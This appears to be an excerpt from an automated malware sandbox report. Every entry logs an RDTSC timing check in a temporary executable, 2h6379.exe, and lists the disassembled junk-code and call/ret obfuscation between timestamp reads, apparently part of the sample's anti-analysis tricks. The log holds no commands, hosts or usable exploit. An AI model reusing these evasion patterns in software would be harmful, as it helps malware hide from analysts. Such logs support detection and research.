Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10190C7 second address: 101918F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FC110C3B03Ch 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007FC110C3B045h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FC110C3B038h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e pushad 0x0000002f call 00007FC110C3B040h 0x00000034 stc 0x00000035 pop edx 0x00000036 jmp 00007FC110C3B042h 0x0000003b popad 0x0000003c push 00000000h 0x0000003e jmp 00007FC110C3B03Ch 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push esi 0x00000048 call 00007FC110C3B038h 0x0000004d pop esi 0x0000004e mov dword ptr [esp+04h], esi 0x00000052 add dword ptr [esp+04h], 0000001Dh 0x0000005a inc esi 0x0000005b push esi 0x0000005c ret 0x0000005d pop esi 0x0000005e ret 0x0000005f mov dword ptr [ebp+122D22CCh], edx 0x00000065 xchg eax, ebx 0x00000066 jmp 00007FC110C3B046h 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1019BCB second address: 1019BE6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC110B5E0A1h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1019BE6 second address: 1019BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101AB78 second address: 101AB7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101C170 second address: 101C182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jl 00007FC110C3B036h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101C21A second address: 101C21E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101D621 second address: 101D625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101D625 second address: 101D63D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101D63D second address: 101D641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101FBC8 second address: 101FBD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC110B5E09Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1020B2B second address: 1020B2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1020B2F second address: 1020B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC110B5E0A9h 0x0000000b popad 0x0000000c push eax 0x0000000d jbe 00007FC110B5E0C0h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC110B5E0A7h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1020D15 second address: 1020D2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC110C3B046h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1021CD4 second address: 1021CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1023D51 second address: 1023D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1023D55 second address: 1023D5F instructions: 0x00000000 rdtsc 0x00000002 je 00007FC110B5E096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1024C85 second address: 1024CA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FC110C3B03Bh 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1024CA2 second address: 1024CA7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1026AA9 second address: 1026AB2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1026AB2 second address: 1026AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC110B5E0A7h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102799A second address: 102799E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102799E second address: 10279AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10279AA second address: 1027A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110C3B03Eh 0x00000009 popad 0x0000000a pop ebx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FC110C3B038h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov ebx, dword ptr [ebp+122D1D2Eh] 0x0000002c push ebx 0x0000002d pushad 0x0000002e sub ecx, dword ptr [ebp+122D1D29h] 0x00000034 cmc 0x00000035 popad 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 sbb ebx, 629DB432h 0x0000003f mov bh, F5h 0x00000041 push 00000000h 0x00000043 xor dword ptr [ebp+122D397Ch], esi 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1027A0A second address: 1027A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1027A10 second address: 1027A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1028A45 second address: 1028AB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jno 00007FC110B5E0A0h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FC110B5E098h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b or edi, 7B904D85h 0x00000031 push 00000000h 0x00000033 mov di, si 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 add bx, E89Ah 0x0000003e pop ebx 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 jl 00007FC110B5E0A4h 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1028AB8 second address: 1028AD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B040h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1029AF5 second address: 1029B1D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FC110B5E0A7h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FC110B5E098h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1029B1D second address: 1029BA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B047h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FC110C3B038h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov dword ptr [ebp+122D3014h], edx 0x0000002c jng 00007FC110C3B03Ah 0x00000032 mov di, 6725h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007FC110C3B038h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D32FCh], ecx 0x00000058 xchg eax, esi 0x00000059 pushad 0x0000005a jmp 00007FC110C3B03Bh 0x0000005f jnp 00007FC110C3B03Ch 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102AB57 second address: 102AB71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FC110B5E09Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FC110B5E096h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1028C88 second address: 1028C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1027BFF second address: 1027C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102BB5F second address: 102BB65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1029D1A second address: 1029D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102BD97 second address: 102BDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC110C3B036h 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FC110C3B048h 0x00000013 pushad 0x00000014 jmp 00007FC110C3B03Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102BDCA second address: 102BE60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 jmp 00007FC110B5E09Eh 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov dword ptr [ebp+122D3014h], eax 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007FC110B5E098h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a jmp 00007FC110B5E0A7h 0x0000003f mov eax, dword ptr [ebp+122D0E51h] 0x00000045 sub bh, FFFFFF94h 0x00000048 push FFFFFFFFh 0x0000004a push 00000000h 0x0000004c push edi 0x0000004d call 00007FC110B5E098h 0x00000052 pop edi 0x00000053 mov dword ptr [esp+04h], edi 0x00000057 add dword ptr [esp+04h], 00000017h 0x0000005f inc edi 0x00000060 push edi 0x00000061 ret 0x00000062 pop edi 0x00000063 ret 0x00000064 nop 0x00000065 jl 00007FC110B5E09Eh 0x0000006b push edi 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102BE60 second address: 102BE7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC110C3B047h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102CCBE second address: 102CCD4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC110B5E09Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102CCD4 second address: 102CCD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102DC4F second address: 102DC54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102DC54 second address: 102DCD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110C3B03Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f pushad 0x00000010 call 00007FC110C3B03Ch 0x00000015 or dword ptr [ebp+122D21BFh], esi 0x0000001b pop edx 0x0000001c mov cl, 7Dh 0x0000001e popad 0x0000001f push dword ptr fs:[00000000h] 0x00000026 xor bx, F283h 0x0000002b xor dword ptr [ebp+122D2785h], ecx 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 adc ebx, 684EAC70h 0x0000003e mov eax, dword ptr [ebp+122D03ADh] 0x00000044 mov dword ptr [ebp+122DBCD2h], esi 0x0000004a push FFFFFFFFh 0x0000004c mov edi, dword ptr [ebp+122D3829h] 0x00000052 nop 0x00000053 jmp 00007FC110C3B049h 0x00000058 push eax 0x00000059 push edi 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 102DCD4 second address: 102DCD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1036B5C second address: 1036B7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B048h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1036B7E second address: 1036B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC110B5E096h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1036CE2 second address: 1036CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC110C3B03Bh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 103C182 second address: 103C1CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC110B5E0A1h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jbe 00007FC110B5E0AEh 0x00000019 jl 00007FC110B5E0A8h 0x0000001f jmp 00007FC110B5E0A2h 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 103C1CC second address: 103C1D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 103C1D0 second address: 103C1DA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC110B5E096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 103E80A second address: 103E828 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B041h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jno 00007FC110C3B036h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 103E828 second address: 103E82D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1044232 second address: 104424C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B046h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1043ADB second address: 1043ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1043ADF second address: 1043AE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1043AE3 second address: 1043AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC110B5E096h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC110B5E09Bh 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1044089 second address: 10440AD instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC110C3B036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC110C3B03Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FC110C3B042h 0x00000017 jo 00007FC110C3B036h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10440AD second address: 10440B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10440B1 second address: 10440E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FC110C3B036h 0x00000009 jc 00007FC110C3B036h 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007FC110C3B048h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007FC110C3B036h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1047E36 second address: 1047E3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: FDA06B second address: FDA06F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 104CD2F second address: 104CD3F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC110B5E096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 104D140 second address: 104D146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101DE6D second address: 101DE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 js 00007FC110B5E0B3h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 101DE7D second address: 101DE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 104D6AC second address: 104D6CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E0A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FC110B5E096h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 104D939 second address: 104D98F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC110C3B036h 0x00000008 jmp 00007FC110C3B03Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 jno 00007FC110C3B04Ah 0x00000017 jmp 00007FC110C3B044h 0x0000001c push esi 0x0000001d push eax 0x0000001e pop eax 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 je 00007FC110C3B036h 0x00000028 jnl 00007FC110C3B036h 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 10526FF second address: 1052705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1052705 second address: 105270A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 105270A second address: 1052714 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC110B5E09Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1052C41 second address: 1052C63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B049h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1052C63 second address: 1052C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110B5E0A2h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1052C80 second address: 1052C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 1052C84 second address: 1052C97 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC110B5E096h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop esi 0x00000013 rdtsc
